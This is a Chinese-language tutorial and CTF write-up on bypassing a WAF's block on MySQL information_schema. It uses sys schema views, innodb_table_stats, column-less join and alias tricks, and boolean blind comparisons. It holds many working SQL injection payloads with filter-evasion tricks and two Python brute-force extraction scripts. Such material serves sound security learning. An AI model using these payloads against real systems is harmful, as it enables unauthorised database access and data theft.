文章目錄
Bypass information_schema
前言
聊一聊mysql在被waf禁掉了information_schema庫後還能有哪些利用思路,這個想法是前一段時間想到的,這次趁着安全客活動就在這裏記錄一下吧~
實驗環境
windows 2008 r2
phpstudy (mysql 5.7)
某waf(原因是該waf可以設置非法訪問information_schema數據庫)
前置任務
進行bypass之前先了解一下mysql中的information_schma這個庫是幹嘛的,在SQL注入中它的作用是什麼,那麼有沒有可以替代這個庫的方法呢?
information_schema
簡單來說,這個庫在mysql中就是個信息數據庫,它保存着mysql服務器所維護的所有其他數據庫的信息,包括了數據庫名,表名,字段名等。
在注入中,infromation_schema庫的作用無非就是可以獲取到table_schema、table_name、column_name這些數據庫內的信息。
MySQL5.7的新特性
由於performance_schema過於發雜,所以mysql在5.7版本中新增了sys schemma
,基礎數據來自於performance_chema和information_schema兩個庫,本身數據庫不存儲數據。
sys.schema_auto_increment_columns
開始瞭解這個視圖之前,希望你可以想一下當你利用Mysql設計數據庫時,是否會給每個表加一個自增的id(或其他名字)字段呢?如果是,那麼我們發現了一個注入中在mysql默認情況下就可以替代information_schema庫的方法。
schema_auto_increment_columns,該視圖的作用簡單來說就是用來對錶自增ID的監控。
這裏我通過security(sqli-labs)和fortest(我自建庫)兩個庫來熟悉一下schema_auto_increment_columns視圖的結構組成,以及特性。
fortest庫
data 表存在自增id
test 表存在自增id
no_a_i_table 表不存在自增id
security庫
//該庫爲sqli-labs自動建立
emails,referers,uagents,users
可以發現,fortest庫中的no_a_i_table並不在這裏存在,然而其他非系統庫的表信息全部在這裏。根據前面介紹的schema_auto_increment_columns視圖的作用,也可以發現我們可以通過該視圖獲取數據庫的表名信息,也就是說找到了一種可以替代information_schema在注入中的作用的方法。
當然了,如果你說我們就是想想通過注入獲取到沒有自增主鍵的表的數據怎麼辦?通過翻閱sys中的視圖文檔,我又發現了兩個視圖也許可以實現這種需求?。
schema_table_statistics_with_buffer、x$schema_table_statistics_with_buffer
查詢表的統計信息,其中還包括InnoDB緩衝池統計信息,默認情況下按照增刪改查操作的總表I/O延遲時間(執行時間,即也可以理解爲是存在最多表I/O爭用的表)降序排序,數據來源:
performance_schema.table_io_waits_summary_by_table
、sys.x$ps_schema_table_statistics_io
、sys.x$innodb_buffer_stats_by_table
通過介紹的內容我們可以很容易的發現,利用“數據來源”同樣可以獲取到我們需要的信息,所以說這樣的話我們的繞過information_schema的思路就更廣了。加下來依次看一下各個視圖的結構:
sys.schema_table_statistics_with_buffer
可以看到,在上一個視圖中並沒有出現的表名在這裏出現了。
sys.x$schema_table_statistics_with_buffer
在從`數據來源`中隨便選取一個視圖爲例(想查看視圖詳細結構等信息可自行測試)
sys.x$ps_schema_table_statistics_io
可忽略table_name='db',默認的並非我創建。
類似的表還有:mysql.innodb_table_stats、mysql.innodb_table_index都存放有庫名錶名
無列名注入
**上面的方法的確可以獲取數據庫中表名信息了,但是並沒有找到類似於information_schema中COLUMNS(字段)的視圖,也就是說我們並不能獲取數據?**當然不是。
利用join
這個思路在ctf中比較常見吧,利用join進行無列名注入,如何利用到這裏就顯而易見了。
join-using注列名:
通過系統關鍵詞join可建立兩個表之間的內連接。通過對想要查詢列名所在的表與其自身內連接,會由於冗餘的原因(相同列名存在),而發生錯誤。並且報錯信息會存在重複的列名,可以使用 USING 表達式聲明內連接(INNER JOIN)條件來避免報錯。
join … using(xx)
簡單的記錄一下payload吧。以本文開頭的環境爲例,這裏的waf會完全過濾掉information_schema庫。
由於開啓防護後會攔截正常注入,所以圖中payload可能會有些亂,我會將簡單的payload整理在下面,繞過防護的部分完全可以自由發揮。
爆表:
schema_auto_increment_columns
?id=-1' union all select 1,2,group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()--+
schema_table_statistics_with_buffer
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
其他的就不測試了,都是一個payload。
獲取字段名
獲取第一列的列名
?id=-1' union all select * from (select * from users as a join users as b)as c--+
獲取次列及後續列名
?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+
?id=-1' union all select*from (select * from users as a join users b using(id,username,password))c--+
數據庫中as主要作用是起別名,常規來說都可以省略,但是爲了增加可讀性,不建議省略。
利用普通子查詢
實例:
正常的查詢如下:
其中,列名爲id
、name
、pass
、mail
、phone
,使用union查詢
select 1,2,3,4,5 union select * from users; (前提是先嚐試出sql中總共有幾個列)
可見數字與users中的列相應。
接着,就可以繼續使用數字來對應列進行查詢,如3對應了表裏面的pass:
select `3` from (select 1,2,3,4,5 union select * from users)a;
//就相當於select pass from (select 1,2,3,4,5 union select * from users)a;
當反引號 ` 不能使用的時候,我們可以使用別名來代替:
select b from (select 1,2,3 as b,4,5 union select * from users)a;
select group_concat(b,c) from (select 1,2,3 as b,4 as c,5 union select * from users)a; //在注入中查詢多個列:
究其核心,就是給想要查詢的表中的列名進行重命名,或加個序號。
[SWPU2019]Web1——無列名注入
這是一個留言板的二次注入與無列名注入
登錄了之後在發佈廣告處存在sql注入漏洞,我們輸入的內容在輸入後沒有漏洞,當我們發佈廣告後查看廣告詳情的時候,後臺代碼中又通過查詢將我們輸進去的內容查出來,就造成了二次注入,從而產生了注入。
(往往在這樣的地方容易出現sql二次注入、xss、ssti等)
該題目環境過濾了空格,我們使用/**/
來進行繞過,又過濾了or,因此我們無法使用 order by 以及information_schema這個庫,因爲過濾了註釋符#
,所以查詢語句的最後我們要閉合單引號
當廣告名爲1’時報錯
先來看看後臺sql語句中的字段數,有TM的22列:
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
這裏最後的'22
用來閉合sql語句中最後面的引號,爲各種註釋符都被過濾了。
可知2,3處爲注入點。猜測語句
select * from table_name where id = '$id' limit 0,1
我們來暴庫,爆版本:
-1'/**/union/**/select/**/1,database(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
爆表:
因爲information_schema被過濾了,我們要用sys.schema_auto_increment_columns等進行代替,但這裏題目環境時buuctf的,他沒有這個sys.schema_auto_increment_columns這個庫,而且一般要超級管理員纔可以訪問sys。我們只能用innodb_table_stats。
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
發現倆表。
通過mysql.innodb_table_stats只能查出數據庫和表名,查不出字段,所以之後我們還是要利用無列名注入。
猜想flag應該在users表中,我們先來猜猜users表中字段數:
-1'/**/union/**/select/**/1,(select/**/1,2/**/union/**/select*from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
-1'/**/union/**/select/**/1,(select/**/1,2,3/**/union/**/select*from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
可知users表中有3列,我們自用無列名注入將其把內容報出來:
-1'/**/union/**/select/**/1,(select/**/group_concat(a,b,c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)as/**/d),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
得到flag。
(本題由於過濾了join,所以不能用join…using報錯)
加括號逐位比較大小
當union select被過濾時,以上兩種方法就都不能用了,我們要用加括號逐位比較大小的方法,將flag諸位爆出來,就像這樣:
1&&((select 1,"f")>(select * from flag_is_here))
用布爾來進行判斷。一般出現在布爾盲注的地方。
例題:
一個post的輸入框,存在sql盲注注入(正確則回顯Nu1L
)。但是過濾了很多東西,or、and、union、information_schema、sys.schema_auto_increment_columns、join等都不能用了。我們要是用sys.schema_table_statistics_with_buffer來繞過information_schema,先把表給爆出來:
import requests
url='http://8e176081-905d-4063-a906-4eed1f03ed17.node3.buuoj.cn/index.php'
payload='1&&ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result=''
for j in range(1,500):
for i in range(32,128):
py=payload.format(j,i)
datas={'id':py}
re=requests.post(url=url,data=datas)
if 'Nu1L' in re.text:
result+=chr(i)
print(result)
break
可以看到存在這兩張表,下面就要實現無列名注入。但是union select被禁了,我們怎麼做呢???
這裏用到了ascii位偏移,關於ascii偏移的利用,可以看下面的例子
可以看到比較兩個字符串的大小與字符串的長度是沒有關係的,給定兩個字符串,會各取兩個字符串的各位字符ascii碼來比較,不等式成立返回1,不等式不成立返回0。
這道題我們利用的就是這個特性,我們首先會從構造一個ascii從32到128的循環,與flag字符諸位一一進行對比,滿足條件返回Nu1L,輸出符合條件的ascii對應的字符,也就是找到了flag的第一個字符,以此類推,直到輸出flag所有位的字符。
先通過加括號比較來判斷這個表的列數,輸入1&&((1,1)>(select * from f1ag_1s_h3r3_hhhhh))
返回 Nu1L,說明有兩列。
import requests
url='http://8e176081-905d-4063-a906-4eed1f03ed17.node3.buuoj.cn/index.php'
payload='1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
flag=''
for j in range(200):
for i in range(32,128):
hexchar=flag+chr(i)
py=payload.format(hexchar)
datas={'id':py}
re=requests.post(url=url,data=datas)
if 'Nu1L' in re.text:
flag+=chr(i-1)
print(flag)
break
當我們匹配flag的時候,一定會先經過匹配到字符相等的情況,這一這個時候返回的是0,對應題目中的V&N,很明顯此時的chr(char)並不是我們想要的,我們在輸出1(Nu1L)的時候,匹配的是f的下一個字符g,而我們想要的是f,此時chr(char-1)='f'
,所以這裏要用chr(char-1)
關於payload中的
(select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh)
f1ag_1s_h3r3_hhhhh表的第一個字段可能是id啥的,跟咱們沒有關係了